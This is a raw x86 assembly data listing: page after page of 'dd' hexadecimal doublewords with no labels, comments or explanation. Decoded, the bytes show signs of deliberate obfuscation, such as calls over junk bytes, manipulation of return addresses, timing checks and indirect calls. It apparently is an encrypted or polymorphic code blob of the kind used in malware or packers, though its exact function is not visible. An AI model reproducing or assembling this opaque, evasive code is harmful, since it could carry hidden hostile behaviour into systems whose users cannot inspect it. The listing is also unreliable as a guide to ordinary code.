		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0EEBB8CC3h, 892D2EFFh, 0E319E185h, 3810F0Ah,	0F000000h
		dd 0B5FFFFBFh
		dd 0AE33125h, 2EDDB58Bh, 95FF0AE3h, 0AE31CD1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0AEC35343h, 8CB45DAEh
		dd 6A9024h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0E860E9C3h, 2C45B58Bh, 6A0AE3h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0B24E16C3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F1C35242h
		dd 232CA65Ah, 4339B543h, 66F38B4Bh, 89E2A9BEh, 0E323959Dh
		dd 89BD8B0Ah, 6A0AE318h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 81CDC353h, 9EAA270Fh
		dd 8BA0417Fh, 0E330ADB5h, 0BD0B600Ah, 0AE30431h, 12A19D89h
		dd 1DBE0AE3h, 611AEF28h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 4CC35141h, 0A931FC8Ch, 578B33CAh, 1F898D89h
		dd 15E0AE3h, 0E306858Dh, 0DF81660Ah, 0BE667098h, 6A7F1Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 22255AC3h, 0EE4B1908h, 0F681C24Fh, 2FE5DB2Ah, 0FFF7CBE9h
		dd 9D781FFh, 0E87E052Ch, 0Ch, 62D28372h, 302B3626h, 4D599BA9h
		dd 2F15BD29h, 95290AE3h, 0AE32FA1h, 6A605Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 5A5DCCC3h
		dd 21991CBAh, 8FD1D881h, 12E85B35h, 4C000000h, 2A9AC574h
		dd 0B65E68C4h, 80880AA2h, 7715870Dh, 0FE9F3h, 8CBC0000h
		dd 488EA7CCh, 0B9EB988Ch, 7943471Ah, 0FEB95A6Ah, 6AFFFFFFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0EACFC356h, 445C6FEDh, 21186478h,	0E3334D8Dh
		dd 51006A0Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 5E4BA940h, 9E40D37h, 21FE8B66h, 0E326498Dh
		dd 6890F0Ah, 9000000h, 0E31505B5h, 0FD9D890Ah, 8B0AE319h
		dd 0E3334D8Dh, 53006A0Ah, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0E1837558h, 2D850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0DC0C355h, 8850Fh, 9530000h, 0E320358Dh
		dd 81B35F0Ah, 26498D8Bh, 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0B218E2C3h, 1E183C6h
		dd 25850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0B92B25C3h, 42C90DDAh, 61914278h
		dd 8E95360h, 0DF000000h, 14F18769h, 5ED59542h, 0FFFFFEB9h
		dd 0FE9FFh, 0B4A50000h,	0A88248D4h, 1894DDF7h, 0D6D36D31h
		dd 59958BB9h, 210AE326h, 0E32DED8Dh, 8529600Ah,	0AE313A5h
		dd 1829B529h, 21610AE3h, 0E32F458Dh, 11E90Ah, 0F9850000h
		dd 68C71B45h, 0A0239B6Bh, 3F69A70Dh, 8BDDA6CDh,	0E32DED8Dh
		dd 50006A0Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 19D037Fh, 830AE325h, 850F01E1h, 4, 71B6CBB4h
		dd 2F458D8Bh, 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0E18330C3h, 6850F01h, 8B000000h
		dd 0E324E995h, 6A60610Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0F3A8C350h,	799249ACh
		dd 0ADB58BFBh, 0B90AE323h, 0FFFFFFFEh, 6E38166h, 818D2159h
		dd 8B0AE312h, 0E300E59Dh, 358D210Ah, 660AE31Ah,	8BC45DBEh
		dd 0E312818Dh, 55006A0Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 13E960h, 0D3130000h, 6B84F43Ch
		dd 0BB227627h, 0E6029C14h, 0AD7FDA63h, 1E1831Ah, 6850Fh
		dd 0BD8B0000h, 0AE3212Dh, 1A358D8Bh, 0B5890AE3h, 0AE3071Dh
		dd 0E495EA81h, 0E1836091h, 6850F01h, 8B000000h,	0E330C995h
		dd 0E960610Ah, 11h, 77E8790h, 8E949B5Eh, 0C7D5259Fh, 737492F2h
		dd 0FFFEB96Ah, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 729D8CC3h, 29DD7211h, 0E31ACD95h
		dd 0D58D210Ah, 6A0AE319h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0FD3C355h, 8D21F6BFh
		dd 0AE328DDh, 30499503h, 8D8B0AE3h, 0AE319D5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D4C35242h, 47BF4565h
		dd 0C7B193EEh, 0B1BD8BAEh, 830AE301h, 850F01E1h, 0Ah, 26B18D31h
		dd 0BE660AE3h, 8D8B383Dh, 0AE328DDh, 1991958Bh,	0E1830AE3h
		dd 2B850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0CDDAC356h,	2E9B4813h
		dd 0DDB169D1h, 339D9D89h, 60610AE3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 3AC35747h, 0C7C68B66h, 0E3312585h
		dd 7D00Ah, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 8F597D31h, 48635C1Ch, 8A0F524Bh
		dd 13h,	0EE9h, 0CCC0F000h, 94B12EBBh, 37A7FB5Ch, 5EF0622Ch
		dd 56006A61h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 7CF221DCh, 0F281664Ch, 7EB3956h,	0E99D61h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 7782C356h, 48896B86h, 0B5892621h
		dd 0AE329A9h, 2E65B503h, 6A0AE3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0C31DA6C3h, 53F8B7BCh
		dd 0EBC18BE2h, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch
		dd 0CE00E45Ch, 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h
		dd 34DF1BCEh, 0A6DB67h,	43DAE0h, 0DC80BA9Fh, 0
		dd 0FEB51B54h, 0FE330000h, 0FBh, 52DDB487h, 9ED92023h
		dd 7C809E01h, 11D1E9h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 9C688288h, 84496616h
		dd 0FD85892Eh, 8B0AE328h, 0E304D18Dh, 0CF8B660Ah, 2269BD83h
		dd 0F000AE3h, 5185h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8B53827Ah, 0E306E18Dh
		dd 0BF0F590Ah, 0B8FAh, 0FE80000h, 28000000h, 549ED13Dh
		dd 42809728h, 4572A9C9h, 0B50151C6h, 0AE307DDh,	4C25Fh
		dd 26A5958Bh, 0C08B0AE3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0D8C35242h, 573E53Bh,	17339655h, 21098D01h
		dd 0BD830AE3h, 0AE32569h, 83097500h, 0E3198DBDh, 1374000Ah
		dd 0C08B5350h, 4D0B8h, 999D8D00h, 0FF0AE5DBh, 83585BD3h
		dd 0E3198DBDh, 1174000Ah, 0D0B85350h, 8D000004h, 0E5DAE69Dh
		dd 5BD3FF0Ah, 183CBA58h, 8E0F0078h, 0Ah, 8B616060h, 0E32F8585h
		dd 0C08B610Ah, 0FE9h, 0D9F13200h, 0EADA8485h, 443A784Ah
		dd 4D8FF04Eh, 4882858Dh, 8A500AE7h, 240489D0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 46C35141h, 5D582F38h
		dd 7D4FAF4Eh, 0C1A3BA57h, 858D3A66h, 0AE7483Fh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F6C35343h, 0DE798FDCh
		dd 0BDBD896Bh, 900AE316h, 11E9h, 337A400h, 0D1BC4510h
		dd 0E078506Fh, 96A63430h, 6650E1CEh, 904810BFh,	95FFD68Bh
		dd 0AE3123Dh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	3FC35545h, 553E8DD6h, 37B711B1h, 424448Bh, 0ADE98166h
		dd 0D2BF0FDCh, 486A8589h, 958B0AE7h, 0AE3185Dh,	824448Bh
		dd 14E9h, 0BE1E7900h, 0A896D37h, 5F9C52Dh, 0A0B182B3h
		dd 0BE5334CBh, 7E858912h, 6A0AE748h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0FA03C350h
		dd 95890E63h, 0AE31B8Dh, 2999BD83h, 0F000AE3h, 0F785h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 7871A5F9h, 4BC5078Bh, 8589168Ah,	0AE3228Dh
		dd 10E9h, 10A5DE00h, 0A9071F37h, 293350F0h, 0FBB30C7Bh
		dd 0F185C64Ch, 470AE31Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0DEC35545h, 770B773Dh, 8931FA99h, 0E33391BDh
		dd 8044680Ah, 13E98EA6h, 39000000h, 66A23A66h, 3790FC5Dh
		dd 7FFB549Fh, 8E65AFC4h, 481251Eh, 0F4278E24h, 0C8B0F45h
		dd 0F000000h, 68Fh, 0AD8D2900h,	0FF0AE31Ch, 0E32F11B5h
		dd 29BD330Ah, 660AE32Fh, 858DCF8Bh, 0AE6ACF3h, 10118589h
		dd 8D8B0AE3h, 0AE304F9h, 8589D0FFh, 0AE32999h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 91C35545h, 193840BEh
		dd 0DA81805Bh, 0B1CE168h, 2139BD83h, 0F000AE3h,	13B85h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0BD00F74h, 2B8E4D4Eh, 0E32D09BDh, 68F0F0Ah
		dd 89000000h, 0E306299Dh, 0F185C60Ah, 470AE31Ch, 4E8h
		dd 0FB5E200h, 0AE98Ah, 0CD870000h, 1B250D7Eh, 0E3083CE7h
		dd 8B7BB650h, 66042444h, 8BFB8Bh, 4244489h, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 433527C0h, 0EE8h, 0E11A6B00h, 2980847Bh, 9278727Ah
		dd 173B932h, 0E31CE9B5h, 0B5FF5A0Ah, 0AE32F11h,	0ACF3858Dh
		dd 6A0AE6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0A0043DC3h, 0A571E824h, 664F25F9h, 1F80E781h
		dd 97F6B966h, 29558589h, 0D0FF0AE3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 9BC35040h, 0AD092846h, 463877F4h
		dd 18D8D8Bh, 85890AE3h,	0AE32139h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0A3C35040h,	0B510931Fh, 10718501h
		dd 85310AE3h, 0AE31041h, 12D1BD83h, 0F000AE3h, 0FC85h
		dd 6860F00h, 81000000h,	0C70A76D1h, 0F185C605h,	560AE31Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DAC35343h
		dd 8D23F132h, 0AE31DC9h, 25C48368h, 7E8C9h, 26590000h
		dd 72D2F3h, 5F575184h, 4815A59h, 0F9A8B624h, 0A98D2B0Ah
		dd 0FF0AE317h, 0E32F11B5h, 55006A0Ah, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8DAF0CB7h
		dd 0E6ACF385h, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 7CE4EA94h, 0BA0BFCFEh
		dd 95894243h, 0AE31E29h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0CF8E44C3h, 0BA66E090h
		dd 8589F05Eh, 0AE312D1h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 52C35141h, 0CB8B0F71h, 0F185C6FCh, 6C0AE31Ch
		dd 68D68B66h, 88EE2724h, 4F5E86BAh, 2434815Eh, 53EB57A7h
		dd 2E85BD23h, 0B5FF0AE3h, 0AE33145h, 19A8E981h,	858D2DDEh
		dd 0AE33AF9h, 449BD89h,	0D0FF0AE3h, 7D9D8951h, 5F0AE32Bh
		dd 486E8589h, 0FE90AE7h, 0F9000000h, 0F132DA3Ch, 0DA8485D9h
		dd 3A784AEAh, 0BD834E44h, 0AE7488Ah, 0C0850F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 28B4C355h, 0F435DF7h, 0D5F3FF29h,	659DC9BFh
		dd 0F185C603h, 490AE31Ch, 0EE9h, 8E25700h, 667C2C59h, 953ECDC7h
		dd 68C521D9h, 0E069989Ah, 0DE8h, 0CEA84300h, 0A0D7D903h
		dd 25C4ED71h, 13B6906Ch, 2434815Fh, 6C7CB173h, 3145B5FFh
		dd 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BE98AC3h, 4D000000h, 6058BC56h, 82BF1A01h
		dd 1605645h, 0E312E19Dh, 0F8E6810Ah, 61078816h,	3AF9858Dh
		dd 0CE8B0AE3h, 0C781D0FFh, 781AB51Ah, 488A8589h, 0ACBA0AE7h
		dd 6A1E7292h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 5E8B01D3h, 95952BF7h, 680AE325h
		dd 9BF34D19h, 4815956h,	0CC2E724h, 0A9858964h, 0BF0AE305h
		dd 239C6F45h, 38F9B368h, 0DE99Bh, 881B0000h, 0BCFAD22Bh
		dd 2F67FB1Ch, 8199FA31h, 64D2404h, 37BA64C8h, 3106C48Dh
		dd 0E321D595h, 56006A0Ah, 0FF59C5B1h, 0E31B9195h, 7A85890Ah
		dd 0FC0AE748h, 487285C7h, 0AE7h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 719F7AC3h
		dd 0DB4C2A52h, 6AC88Ah,	0BD8B10B5h, 0AE305F9h, 4E8h, 1000000h
		dd 5032B600h, 448BFE8Bh, 0D18B0424h, 0F60008Bh,	48Fh, 75B96600h
		dd 6052500Ch, 0E8310F61h, 0Ch, 424814C7h, 80E3DEC1h, 0D633271Eh
		dd 61585A5Bh, 4244489h,	58D78B66h, 830F5090h, 3, 5FFB8B66h
		dd 4810F50h, 66000000h,	907FF3BAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 52C35141h, 2EA6FC2Bh
		dd 0B6A19F6h, 0DE9h, 56ACCA00h,	3B73F31Dh, 0EB71F636h
		dd 858D31C0h, 0AE74847h, 8B6690F8h, 8B0F50D6h, 8, 2810Fh
		dd 0CA8B0000h, 0FABF0F90h, 299995FFh, 6A0AE3h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0B9A123C3h, 5C0FFC0h, 8D2B5A84h, 0AE32EDDh, 4851B58Dh
		dd 0B6500AE7h, 24348960h, 3559589h, 0B9500AE3h,	3F2C435Ah
		dd 66240489h, 0FFFCC0BAh, 0E3213995h, 6E90Ah, 0D36D0000h
		dd 0A69FB9D6h, 850FC00Bh, 59h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0F9C35343h,	0ED7F1A41h, 8903F0F2h
		dd 0E3159185h, 6ECE90Ah, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0CB1D1EC3h, 8166CE13h
		dd 8BF42AD7h, 0E3269D8Dh, 0FD0FF0Ah, 180h, 0B58BF500h
		dd 0AE7487Ah, 3CD8589h,	468D0AE3h, 56006A20h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0BD01F884h
		dd 0AE31AE9h, 6758509h,	46A0AE3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 74C35242h, 0F82DCF41h, 90C9BF0Fh
		dd 66505956h, 6A90D38Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 156CC355h, 315B180Eh
		dd 0FA49B4Eh, 681h, 818D8900h, 8B0AE307h, 8A95FFFEh, 6A0AE748h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 307CC353h, 0AE0522D0h, 664D12CAh,	6660F88Bh
		dd 0F78A9BEh, 0B61DBBFh, 16840FC0h, 57000000h, 5A72CE80h
		dd 5D9E9h, 68C0F00h, 3000000h, 0E326B9BDh, 207E800Ah, 0C3840F00h
		dd 0BA000005h, 4FBE2EF0h, 51006A60h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 91279CA7h
		dd 0BD95299Fh, 660AE322h, 468DD08Bh, 55006A20h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 12D8158Eh
		dd 993C6663h, 5870F01h,	0BF000000h, 93C12C0h, 1858B60h
		dd 0B40AE31Dh, 0EE96107h, 8A000000h, 0F62C5CCh,	0D223ADFEh
		dd 0EF8D41C2h, 7685892Dh, 0B0AE748h, 0E32B998Dh, 0FAE90Ah
		dd 0BF0F0000h, 0BD8B40FEh, 0AE32E91h, 208CBA50h, 489092Eh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 89ABC40Bh, 0E318C585h, 8589510Ah, 0AE32F49h
		dd 6A046A59h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0B96CC357h, 2F11D9E5h,	0CA81663Bh
		dd 0BF50F1AEh, 1D0E428Eh, 9240489h, 0E30FB98Dh,	8A95FF0Ah
		dd 660AE748h, 8B26F8BAh, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 56C3EF83h, 0CE99D9Ah
		dd 0EC000000h, 9D39F7A4h, 400F2DDh, 58ABEAC5h, 0DB0B5A57h
		dd 3A840Fh, 0BF660000h,	0BD89A8DEh, 0AE30AB1h, 465E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0ACDC0DBFh, 34C35560h, 8D2BFB4Bh, 0AE31AF9h
		dd 0F003880h, 0FFFF0085h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0BB4937BAh
		dd 0C7D6A9F5h, 830F1F7Dh, 4, 5868BA66h,	12E9h, 5870F00h
		dd 66000000h, 0D7D1D781h, 15958B48h, 3B0AE32Fh,	0E7487685h
		dd 4D820F0Ah, 8B000000h, 5C3880CFh, 42840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 8D5F95C3h, 9E9h, 8E393600h, 0AB0E26EAh, 0BA6611FEh
		dd 38805933h, 0A9850F2Fh, 0FFFFFFFh, 387h, 0C8BF0F00h
		dd 0FFFBBF40h, 0BD8372F8h, 0AE7487Eh, 50840F00h, 89000001h
		dd 0E319BD9Dh, 0BD89600Ah, 0AE31655h, 6DF4EA81h, 906162A1h
		dd 0AE8h, 9AF4AA00h, 54839CE3h,	0BFD734FFh, 81F0F55h, 0EA8A505Ah
		dd 7E990h, 0ABAA0000h, 11B28C7Ah, 7E850332h, 0F0AE748h
		dd 684h, 61BD8B00h, 500AE323h, 489E5B1h, 53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 4D2ABD19h, 8B195A32h, 0E31005BDh, 66046A0Ah,	0E990CB8Bh
		dd 5, 0E4537A40h, 58B25007h, 56006A90h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 8D525289h
		dd 8A95FFF8h, 10AE748h,	0E315999Dh, 8BCF8A0Ah, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0B4D94EDFh, 6870F28h, 8B000000h, 0E32DCD8Dh,	0E781580Ah
		dd 5D13269Fh, 840FDB0Bh, 29h, 1AF9958Bh, 7BE90AE3h, 6A000002h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 97D4C355h, 0C6F9h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 2EC35545h, 36CBAA62h, 0C0DE8CC6h
		dd 3DBD8B58h, 500AE318h, 0BBEA5CBAh, 24048930h,	1E6AD68Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4DC35747h
		dd 2FB5508Dh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 8C8EC355h, 41E4C5E6h
		dd 488A95FFh, 0E9600AE7h, 0Fh, 76508D28h, 28D94AD5h, 4FFCA2h
		dd 0FCA5BFBh, 8B61D1B7h, 0D28166D8h, 6A58D6E6h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0EE0DC356h, 81664119h, 0FB7AEDAh, 0E83h, 8D8B6000h
		dd 0AE3114Dh, 1E058529h, 0B610AE3h, 17840FDBh, 0F000000h
		dd 0C80h, 68B0F00h, 0F000000h, 84h, 160E900h, 60500000h
		dd 13E95250h, 0E4000000h, 15CC3AB0h, 0F26B31EEh, 3FE6964Eh
		dd 4A9509A0h, 310F5799h, 585A5956h, 13E8h, 82102A00h, 9F3672A0h
		dd 4AB9BB5Dh, 4668FC15h, 8C7017AFh, 8249A2BEh, 8961597Ah
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0B1D035C3h, 0B5894F06h, 0AE312A1h, 0FFD08B66h
		dd 0E7486AB5h, 4820F0Ah, 66000000h, 0FF3596B9h,	0E7486E95h
		dd 0C98D010Ah, 0B0AE330h, 54850FC0h, 66000000h,	1148C781h
		dd 5F26B961h, 85C753A3h, 0AE74872h, 1, 10E9h, 8BBC1700h
		dd 5290F1CBh, 74C00873h, 0CD6E37A9h, 0A0E9DFh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0B30DF4C3h, 519D298Ah, 610AE325h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0CFC35242h,	22A9B589h, 0C6810AE3h
		dd 11Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	33C35646h, 0EABA0008h, 799589AAh, 0F0AE312h, 86h
		dd 0F974E900h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0D11C7C3h, 4E8768Eh, 0
		dd 0F000080h, 84h, 0DE85000h, 0F0000000h, 66B4509h, 20BEF1D1h
		dd 0D4F2494Ch, 0DE8h, 0A5FF4B00h, 0CC630027h, 7EE667CCh
		dd 61609150h, 448B5A5Ah, 0B9660424h, 8BE885h, 4244489h
		dd 708874BFh, 6A581Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F52F6C3h, 86h, 6AF800h,	9EBA6653h
		dd 0BD8B5FB4h, 0AE33511h, 487AB5FFh, 0BF0F0AE7h, 0D195FFFAh
		dd 890AE312h, 0E31FFD8Dh, 72858B0Ah, 890AE748h,	0E3102DB5h
		dd 5250900Ah, 51616060h, 310F6159h, 8E8h, 487FCF00h, 0B8D3CFC7h
		dd 596160E4h, 6050585Ah, 66F08B66h, 6172ACBBh, 89576090h
		dd 0E32D0DBDh, 0BF0F5A0Ah, 858D61C3h, 0AE74882h, 70EEBF66h
		dd 108A0F90h, 56000000h, 8E8h, 86BCA400h, 0EBE2A092h, 505A5A1Bh
		dd 827B18B9h, 0EF81905Bh, 6AB068E5h, 483F858Dh,	5E90AE7h
		dd 0E7000000h, 3894BDCBh, 2D55958Bh, 56900AE3h,	5FD68B66h
		dd 2860F50h, 8A000000h,	8B6690F4h, 8D95FFCAh, 0E80AE315h
		dd 11h,	1D8F40CBh, 0B23C9172h, 152623E1h, 0D2E35080h, 0CEB70F82h
		dd 6AC08B59h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 8B0C355h, 10966097h, 896BFCDEh
		dd 0E31EE995h, 69BD830Ah, 0AE325h, 0BD830975h, 0AE3198Dh
		dd 50137400h, 0B8C08B53h, 4D0h,	0DC009D8Dh, 0D3FF0AE5h
		dd 0BD83585Bh, 0AE3198Dh, 50117400h, 4D0B853h, 9D8D0000h
		dd 0AE5DAFFh, 585BD3FFh, 0DE8h,	3C825400h, 64D95E15h, 0E1CA476Bh
		dd 0B70F164Bh, 9D895FCFh, 0AE30939h, 19398D89h,	0C08B0AE3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A6C35141h
		dd 6198F245h, 89E6C3BFh, 0E305A585h, 5E8580Ah, 3F000000h
		dd 0EE8F3B4Ah, 0E9BF6659h, 8C2D7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 2DC35040h, 33A99589h, 0C08B0AE3h
		dd 7E9h, 0F4B7A800h, 0F1E34551h, 2DF9B589h, 858D0AE3h
		dd 0AE748C6h, 89C88B66h, 0E330A185h, 75E90Ah, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	3145B5FFh, 858D0AE3h, 0AE6ACF3h
		dd 8589D0FFh, 0AE31BFDh, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 1BFD95FFh, 32E90AE3h, 0C6000000h, 0E31CF185h
		dd 0DF68560Ah, 0FFA9C530h, 0E32F11B5h, 0F3858D0Ah, 0FF0AE6ACh
		dd 298589D0h, 8D0AE316h, 0E31AA585h, 206A500Ah,	0FF56056Ah
		dd 0E3162995h, 0C1C3610Ah, 896006E0h, 0E31211B5h, 4DBD8B0Ah
		dd 8B0AE314h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0B8C09C32h, 0C6815F4Bh, 7E044B55h
		dd 7CDBD8Bh, 0BD830AE3h, 0AE32569h, 83097500h, 0E3198DBDh
		dd 1974000Ah, 0C08B5350h, 438B8h, 95858900h, 8D0AE32Dh
		dd 0E5DDC59Dh, 5BD3FF0Ah, 8DBD8358h, 0AE319h, 53501774h
		dd 438B8h, 95858900h, 8D0AE32Dh, 0E5DAB49Dh, 5BD3FF0Ah
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 6ACFC6h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 17DBC7C3h, 0C08B0F0Ch, 20858589h
		dd 28E80AE3h, 6A000009h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 774DC350h, 67735F9Bh
		dd 3133F817h, 2E84BF66h, 6BD8589h, 8D890AE3h, 0AE32945h
		dd 8EEE8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 6BBEEA36h, 6E4E9AE1h, 0EE98A26h
		dd 93000000h, 0FB1F3BBAh, 6B09BE18h, 0CF9E3AAAh, 28F0FA0h
		dd 8A000000h, 458589EAh, 6A0AE304h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 434FC356h
		dd 16719B01h, 0CE9h, 0D3E49F00h, 57077DFFh, 5E20280h, 0E98D8B6Eh
		dd 0E80AE325h, 86Bh, 15F59589h,	85890AE3h, 0AE30529h, 1385B58Bh
		dd 54E80AE3h, 6A000008h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0A471C355h,	8589739Ah
		dd 0AE308C1h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	66C35141h, 3790FC5Dh, 39D18166h, 805E8DEh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
